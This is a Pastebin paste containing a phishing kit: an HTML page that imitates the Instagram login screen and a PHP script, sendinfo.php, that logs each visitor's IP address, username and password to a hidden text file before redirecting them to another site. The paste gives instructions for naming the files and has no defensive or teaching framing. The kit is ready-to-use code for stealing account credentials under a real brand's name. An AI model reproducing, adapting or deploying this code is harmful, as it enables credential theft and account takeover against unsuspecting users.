Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HTML (Make sure the file is called index.html):
- <!DOCTYPE html>
- <html>
- <head>
- <link href="style.css" rel="stylesheet" type="text/css">
- <title>Sign Up - Instagram</title>
- <link href="favicon.ico" rel="icon" type="image/x-icon">
- <link href="favicon.ico" rel="shortcut icon" type="image/x-icon">
- </head>
- <body>
- <div class="background"></div>
- <div class="background2">
- <p>Don't have an account? <a href="https://www.instagram.com/accounts/login/">Sign Up</a></p>
- </div><img class="insta-logo" src="insta.png">
- <form action="sendinfo.php" method="post">
- <div class="login-form">
- <input autocomplete="off" class="input username" name="username" placeholder="Username" type="text"><br>
- <input autocomplete="off" class="input password" name="password" placeholder="Password" type="password"><br>
- <input class="button" name="submit" type="submit" value="Log in">
- </div>
- </form>
- </body>
- </html>
- PHP (Make sure the file is called sendinfo.php):
- <?php
- if($_POST['username'] == "" || $_POST['password'] == "" || strpos($_POST['username'], 'hugh') !== false) {
- header('Location: ./not-allowed/');
- }
- else {
- if(isset($_POST['username']) && isset($_POST['password'])) {
- $data = "IP :" . $_SERVER['REMOTE_ADDR'] . "\n" . "User: " . $_POST['username'] . "\n" . "Password: " . $_POST['password'] . "\n\n";
- $myfile = fopen("./f2f06c35-1b76-420b-ac81-847b362ba6a5/KL78.txt", "a") or die("Unable to open file!");
- fwrite($myfile, $data);
- setcookie("logged_in", 'yes');
- }
- else {
- die('no post data to process');
- }
- ?>
- <meta http-equiv="refresh" content="0; URL='http://hughchalmers.com/teachers/new/'" />
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement